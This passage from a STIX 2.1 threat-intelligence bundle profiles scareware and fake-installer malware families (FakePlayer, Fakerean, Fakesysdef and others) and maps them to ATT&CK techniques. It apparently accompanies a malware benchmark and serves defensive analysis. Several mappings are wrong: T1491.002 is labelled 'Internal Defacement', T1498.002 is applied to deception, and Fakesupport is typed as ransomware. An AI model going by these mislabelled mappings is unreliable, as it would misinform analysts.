      "description": "<h3>Executive Summary</h3>\nFakePlayer is a classification for a widespread category of Trojans that utilize social engineering\u2014specifically, masquerading as required media player updates (like Adobe Flash Player, VLC, or HTML5 codecs)\u2014to trick users into voluntarily executing malware. These campaigns are highly effective because they exploit the user's desire to view restricted content on streaming or adult websites.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nThe infection vector relies entirely on user deception. A victim navigates to a compromised or malicious website (often promising free movies or adult content) and is presented with a highly convincing pop-up stating that their \"Video Player is Outdated.\" The user is prompted to download an executable (e.g., `Update_Player.exe`).\n\nUpon execution, FakePlayer serves as an initial loader:\n<ul>\n<li><strong>The Decoy:</strong> To maintain the illusion, the malware will often actually install a legitimate, outdated version of a media player, or display a fake \"installation successful\" progress bar.</li>\n<li><strong>The Payload:</strong> While the decoy is running, the malware silently unpacks and executes its true payload in the background. FakePlayer campaigns are notorious for distributing highly destructive secondary malware, primarily the <strong>Zeus/Zbot banking trojan</strong>, various Info-Stealers (like RedLine), or Crypto-mining software.</li>\n<li><strong>Persistence:</strong> The secondary payload will establish its own persistence mechanisms (Run keys, Scheduled Tasks) entirely separate from the initial FakePlayer executable, ensuring the infection survives even if the user deletes the fake installer.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA FakePlayer execution is a critical security breach. Because the user was tricked into manually authorizing the execution (often bypassing User Account Control - UAC prompts), the malware typically gains high privileges, allowing it to deeply embed secondary payloads that compromise all data on the endpoint.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Isolate and Triage:</strong> Isolate the machine immediately. Responders must identify not just the FakePlayer installer, but more importantly, the secondary payload it dropped.</li>\n<li><strong>Enterprise Password Reset:</strong> Because FakePlayer is a primary distribution method for advanced Info-Stealers, all user credentials (domain, personal, and browser-cached) must be considered compromised and reset immediately.</li>\n<li><strong>Endpoint Re-imaging:</strong> Due to the high likelihood of complex secondary payloads (like rootkits or advanced banking trojans) being deployed with administrative privileges, the only secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.FakePlayer",
        "Downloader.FakePlayer",
        "Win32/FakePlayer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fakeplayer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fakeplayer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21014436-cb8d-5d86-8f8f-533c2b4fdc8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d7b21923-dcaf-5e3b-8fed-8c0b19de4059",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeplayer exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2b46f30-a460-55be-ad7e-e82cfcc61e94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d7b21923-dcaf-5e3b-8fed-8c0b19de4059",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeplayer exhibits technique T1036.005 (Match Legitimate Name or Location)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c75c9a2-1cc1-53d0-bea6-340ac05d230e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d7b21923-dcaf-5e3b-8fed-8c0b19de4059",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeplayer exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb5d7fe1-a2b5-55fd-86e4-181de45b7dd9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d7b21923-dcaf-5e3b-8fed-8c0b19de4059",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeplayer exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ffc232e9-d7e0-5656-9ecb-56e45d6f81f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fakeransom",
      "description": "Ransomware:Win32/Fakeransom (or 'Scareware') refers to malicious programs that mimic the behavior and appearance of actual ransomware to extort money, but lack the capability to actually encrypt the victim's files (`T1491`). They rely entirely on psychological manipulation and screen-locking techniques rather than cryptographic damage.<br><br><b>Understanding Fakeransom (Scareware)</b><br>To an end-user, Fakeransom is terrifying. A full-screen window appears, claiming their files have been encrypted by a notorious cartel (like WannaCry or Ryuk) or locked by the FBI/Interpol for 'illegal activity', demanding immediate payment in Bitcoin or gift cards. For an incident responder, discovering the infection is 'fake' is a massive relief, as data recovery is usually trivial and requires no decryption key.<br><br><b>Execution and Screen-Locking Mechanics</b><br>Fakeransom is often distributed via malvertising, drive-by downloads, or bundled with pirated software. Upon execution, it does not encrypt files. Instead, it employs Screen Locking techniques (`T1491.002`). It maximizes a borderless window, sets it to always be 'on top', and disables the Task Manager (`taskmgr.exe`), the Windows key, and Alt+Tab functionality via API hooking (`T1562.001`). This traps the average user on the extortion screen, convincing them that their machine is hopelessly compromised.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is psychological distress and potential financial loss if the user pays the ransom. Data availability is only temporarily affected by the screen lock. Host-based IoCs include the presence of the full-screen extortion window, registry modifications disabling the Task Manager (`DisableTaskMgr=1`), and a persistent executable running from `%AppData%` or `%Temp%`. Network IoCs may include connections to the attacker's payment portal, but unlike real ransomware, there is no transmission of encryption keys. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fakeransom",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fakeransom"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--1903672b-fa6b-505d-bd64-28a101537fec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1491.002: Defacement: Internal Defacement (Creating a full-screen, unclosable ransom note)",
      "description": "MITRE ATT&CK Technique T1491.002 (Defacement: Internal Defacement (Creating a full-screen, unclosable ransom note)) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1491.002",
          "url": "https://attack.mitre.org/techniques/T1491/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4dd5eb76-39bf-592c-8fca-9f72c4d29d05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ffc232e9-d7e0-5656-9ecb-56e45d6f81f9",
      "target_ref": "attack-pattern--1903672b-fa6b-505d-bd64-28a101537fec",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeransom exhibits technique T1491.002 (Defacement: Internal Defacement (Creating a full-screen, unclosable ransom note))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26d984ae-3cf9-51ea-ba8e-442fe9826757",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ffc232e9-d7e0-5656-9ecb-56e45d6f81f9",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeransom exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling Task Manager and system shortcuts to trap the user))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d9838b9-7259-5e8a-a74c-dd22b224ef7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ffc232e9-d7e0-5656-9ecb-56e45d6f81f9",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakeransom exhibits technique T1189 (Drive-by Compromise (Common distribution method via deceptive ads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ac0ea9a4-28e7-552f-ac3f-2fc7b087142f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fakerean",
      "description": "Rogue:Win32/Fakerean is a highly deceptive piece of malware classified as **Fake Antivirus (FakeAV) or Scareware**. Its entire operational model relies on social engineering and intimidation. It masquerades as a legitimate Windows security scanner, bombarding the user with fabricated alerts of catastrophic malware infections to coerce them into paying for a useless 'premium' license to clean their system.<br><br><b>Understanding Fakerean (Scareware)</b><br>To an end-user, Fakerean is terrifying. It employs aggressive pop-ups, flashes red warning banners across the screen, and mimics the UI of real security tools (like Windows Defender) to convince the user their machine is hopelessly compromised. For an enterprise security team, Fakerean is a nuisance malware that exploits human psychology rather than sophisticated zero-day vulnerabilities. It degrades productivity and represents a successful phishing or malvertising attack.<br><br><b>Execution and Intimidation Mechanics</b><br>Fakerean is primarily distributed via drive-by downloads on compromised websites, malicious advertising networks (malvertising), or fake 'Flash Player update' lures (`T1189`, `T1204.002`). Upon execution, it establishes persistence via the Registry Run keys to ensure it launches automatically upon boot (`T1547.001`). To enforce the illusion of an infected system and force payment, Fakerean actively impairs the user's ability to fix the problem. It modifies registry policies to disable Task Manager (`taskmgr.exe`), the Registry Editor (`regedit.exe`), and often blocks the execution of real, legitimate antivirus software by terminating their processes (`T1562.001`). It then displays a full-screen, unclosable window demanding credit card payment to 'remove the 42 detected severe threats' (`T1491.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is financial loss (if the user pays) and total loss of productivity. Host-based IoCs are blatantly obvious: highly aggressive, non-standard 'antivirus' pop-ups, the inability to launch administrative tools, and EDR alerts for rapid registry modifications aimed at disabling system policies. Network IoCs include HTTP traffic to the rogue payment gateways. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fakerean",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fakerean"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72afc1d4-5e03-5012-afed-5b1d503925a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac0ea9a4-28e7-552f-ac3f-2fc7b087142f",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakerean exhibits technique T1491.001 (Defacement: Internal Defacement (Aggressive fake AV UI))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15399579-0192-547b-9acd-6cd8c8e008ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac0ea9a4-28e7-552f-ac3f-2fc7b087142f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakerean exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Blocking Task Manager/AV))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--adc2c6f9-0431-5c1e-b077-7d9cfd9aad67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac0ea9a4-28e7-552f-ac3f-2fc7b087142f",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakerean exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5d54fce-49b5-5954-b3a0-d2d931cb4a9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac0ea9a4-28e7-552f-ac3f-2fc7b087142f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakerean exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--52d54b71-b94f-5e90-b749-3b813587963f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fakesmoke",
      "description": "Trojan:Win32/Fakesmoke is a form of **Rogue Security Software** (often called Fake AV or Scareware). It masquerades as a legitimate, high-end antivirus program, deliberately generating terrifying, fake security alerts to trick the user into paying for a 'premium' license to remove non-existent threats.<br><br><b>Understanding Fakesmoke</b><br>To an end-user, Fakesmoke is highly distressing. The desktop is bombarded with urgent, red-flashing pop-ups claiming the system is severely infected with zero-day trojans or that data is actively being stolen. For a security team, Fakesmoke relies entirely on social engineering and intimidation (`T1498.002` - modified context for deception) to monetize the infection directly from the victim.<br><br><b>Execution and Scareware Mechanics</b><br>Fakesmoke is often distributed via malvertising, drive-by downloads, or bundled with pirated software (`T1189`). Upon execution (`T1204.002`), it establishes persistence via the Registry (`T1547.001`) so it runs every time the computer boots. It immediately displays a highly professional-looking (but fake) scanning interface. It simulates a fast scan and inevitably reports dozens of severe infections. To enforce compliance, Fakesmoke actively attempts to disable legitimate Windows utilities (like Task Manager, Registry Editor, and Command Prompt) (`T1562.001`) and may block access to real security vendor websites to prevent the user from downloading actual removal tools.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is primarily financial fraud and severe disruption of productivity. Host-based IoCs include EDR alerts for the unauthorized modification of registry keys disabling Task Manager (`HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableTaskMgr`), the presence of the rogue executable in the `%AppData%` folder (often with a randomly generated, innocent-sounding name), and persistent, aggressive pop-up windows demanding credit card payment. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fakesmoke",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fakesmoke"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47456860-11b6-5b8a-a141-f11fdeed9d91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52d54b71-b94f-5e90-b749-3b813587963f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakesmoke exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling Task Manager/AV))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ff22f7d-279e-5a4a-b00b-102d6357f495",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52d54b71-b94f-5e90-b749-3b813587963f",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakesmoke exhibits technique T1498 (Network Denial of Service (Blocking access to security sites))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd2e9627-8cb5-5a66-be04-674bc1724efe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52d54b71-b94f-5e90-b749-3b813587963f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakesmoke exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb0c830f-4150-5b46-a8f1-6f11af557a3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--52d54b71-b94f-5e90-b749-3b813587963f",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakesmoke exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8bd2062a-664a-5b9a-a4d9-1c50ef9173e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fakesupport",
      "description": "Adware/Trojan:Win32/Fakesupport is a classification encompassing malware and aggressive adware specifically designed to facilitate Technical Support Scams. Unlike pure ransomware, Fakesupport does not encrypt files; instead, it uses browser hijacking, full-screen overlays, and simulated 'Blue Screen of Death' (BSOD) images to convince the victim their computer is critically infected or locked by law enforcement (`T1491.001`). The goal is to coerce the victim into calling a fraudulent toll-free number provided on the screen.<br><br><b>Understanding Fakesupport (Tech Support Scams)</b><br>To a non-technical user, the infection is terrifying. The screen locks, loud alarms may play through the speakers, and legitimate-looking Microsoft or Apple logos warn of impending data loss. For security teams, this represents a highly effective social engineering attack (`T1566.002`). If the user calls the number, the scammers will use remote access tools (like TeamViewer or AnyDesk) to take control of the machine, 'prove' the infection using normal Windows logs, and extort hundreds of dollars for a fake 'lifetime support contract'.<br><br><b>Execution and Deception Mechanics</b><br>Fakesupport is often delivered via malvertising (malicious ads that redirect the browser) or bundled with deceptive software. Some variants are purely web-based (JavaScript loops that prevent closing the browser tab), while others are installed locally. Locally installed variants establish persistence (Registry Run keys) and utilize APIs to disable Task Manager and keyboard shortcuts (like Alt+F4) to prevent the user from closing the deceptive full-screen overlay (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is financial loss via fraud and the potential installation of actual backdoors if the user grants the scammers remote access. Host-based IoCs include the presence of anomalous executables generating full-screen overlays and registry modifications explicitly disabling Task Manager (`DisableTaskMgr`). Network IoCs include connections to known malvertising redirectors or domains hosting the fake BSOD templates. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fakesupport",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fakesupport"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0969bf02-82b0-55cc-96f1-0248a4af60bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8bd2062a-664a-5b9a-a4d9-1c50ef9173e3",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakesupport exhibits technique T1491.001 (Defacement: Internal Defacement (Creating fake BSODs or locked screens))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a16e6d51-8d39-567d-a741-737f8a2750c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8bd2062a-664a-5b9a-a4d9-1c50ef9173e3",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakesupport exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to call the scammers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92cf2dd5-def3-57d7-8ba4-db9dd7cae3f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8bd2062a-664a-5b9a-a4d9-1c50ef9173e3",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakesupport exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling Task Manager to prevent closing the overlay))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--61567ce4-d2ba-54c7-83f4-d5222cf828b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fakesysdef",
      "description": "Rogue:Win32/Fakesysdef is a classic and aggressive example of Rogue Software, specifically categorized as 'Scareware' or a Fake HDD Defragmenter/Repair tool. It masquerades as a legitimate Microsoft Windows system utility, performing fabricated hardware scans that inevitably report hundreds of non-existent critical errors, such as hard drive failures, RAM corruption, or bad sectors. Its sole purpose is to employ deceptive social engineering to frighten the user into purchasing a premium 'repair module' to fix the fabricated issues.<br><br><b>Understanding Fakesysdef (Fake Optimizers)</b><br>To an end-user, Fakesysdef appears as highly alarming, official-looking warnings indicating imminent hardware failure. For a security analyst, it is a malicious program that utilizes fraudulent tactics (`T1566.002`). It degrades system performance, steals financial data via fraudulent transactions, and aggressively prevents the user from opening legitimate applications, claiming the hard drive is too damaged to run them.<br><br><b>Execution and Deception Mechanics</b><br>Fakesysdef is primarily distributed through deceptive malvertising (fake flash updates), drive-by downloads (`T1189`), or exploit kits. Upon execution, it establishes persistence by modifying the Registry Run keys (`T1547.001`) to ensure it launches automatically on boot. To maintain its illusion of utility and force payment, it actively displays persistent desktop pop-ups (`T1491.001`) simulating Windows System errors. Crucially, it actively blocks the execution of legitimate tools like `taskmgr.exe`, `regedit.exe`, and even web browsers (unless navigating to the payment page) by modifying the Image File Execution Options (IFEO) registry keys, claiming the executable is 'corrupted'.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is financial loss for the user (fraud) and total loss of endpoint usability. Host-based IoCs include the presence of a new, highly aggressive 'repair' application demanding payment, persistent desktop pop-ups mimicking Windows errors, and the inability to open Task Manager or other `.exe` files. EDR telemetry will log the software's autostart modifications and specifically its hijacking of the IFEO registry keys (`HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\`). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fakesysdef",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fakesysdef"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afd3bd08-75dd-54c5-a9bc-7960b205e328",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--61567ce4-d2ba-54c7-83f4-d5222cf828b3",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakesysdef exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering tactics to drive installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--094113b4-ebea-526d-b8f7-6534cde79ca7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--61567ce4-d2ba-54c7-83f4-d5222cf828b3",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakesysdef exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Blocking Task Manager via IFEO keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8bfd864b-eca7-5bc3-8bb5-db66b03fb9a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--61567ce4-d2ba-54c7-83f4-d5222cf828b3",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fakesysdef exhibits technique T1491.001 (Defacement: Internal Defacement (Persistent scareware pop-ups))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2b2d2cb3-ff16-5477-92bc-79c5172fb974",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Faketool",
      "description": "FakeTool (cataloged under antimalware detections including Trojan:Win32/FakeTool, Rogue:Win32/FakeTool, and PUA:Win32/FakeTool) represents a pervasive family of rogue security software, fake antivirus tools, and scareware trojans. Masquerading as legitimate system defense utilities, PC repair suites, or disk defragmentation software, FakeTool is distributed through drive-by downloads, compromised websites displaying fake infection alerts, and malicious software bundlers. Upon execution, FakeTool hijacks Windows display elements and executes fabricated system scans that report non-existent virus infections, registry errors, and severe hardware failure warnings. It aggressively blocks the execution of legitimate antimalware tools and Task Manager, while coercively prompting the victim to pay for an expensive commercial activation license. (Observed samples in benchmark: 20)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/FakeTool",
        "Rogue:Win32/FakeTool",
        "PUA:Win32/FakeTool",
        "Win32/FakeTool",
        "Program:Win32/FakeTool"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Faketool",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/faketool"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9e73ebe-5299-5c3b-9881-b5cd93fe203c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b2d2cb3-ff16-5477-92bc-79c5172fb974",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Faketool exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f468e45c-ad24-52b3-9eda-3a00ad09e387",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b2d2cb3-ff16-5477-92bc-79c5172fb974",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Faketool exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6c2582b-0ae3-5e6e-860a-4201a21e3397",
      "created": "2026-01-01T00:00:00.000Z",
